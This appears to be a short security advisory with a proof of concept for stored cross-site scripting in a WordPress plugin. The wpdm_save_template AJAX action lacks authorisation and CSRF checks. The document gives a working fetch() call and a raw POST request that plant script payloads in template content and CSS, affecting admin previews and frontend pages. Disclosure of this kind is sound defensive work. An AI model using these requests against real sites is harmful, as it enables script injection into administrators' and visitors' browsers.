The plugin does not sanitise and escape Template data before outputting it in various pages (such as admin dashboard and frontend). Due to the lack of authorisation and CSRF checks in the wpdm_save_template AJAX action, any authenticated users such as subscriber is able to call it and perform Cross-Site Scripting attacks
fetch("https://example.com/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "tpl[content]=%3Cimg src onerror=alert(/XSS/)%3E&action=wpdm_save_template&tplid=2&tpl[css]=</style></head><body><img src onerror=alert(/XSS/)>",
"method": "POST",
})
.then(response => response.text())
.then(data => console.log(data));
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 150
Connection: close
Cookie: [any authenticated user]
tpl[content]=%3Cimg+src+onerror=alert(/XSS/)%3E&action=wpdm_save_template&tplid=2&tpl[css]=</style></head><body><img+src+onerror=alert(/XSS/)>
The XSS via tpl[content] triggers when previewing the template (as admin). The one from tpl[css] triggers in all frontend pages (as well as template preview)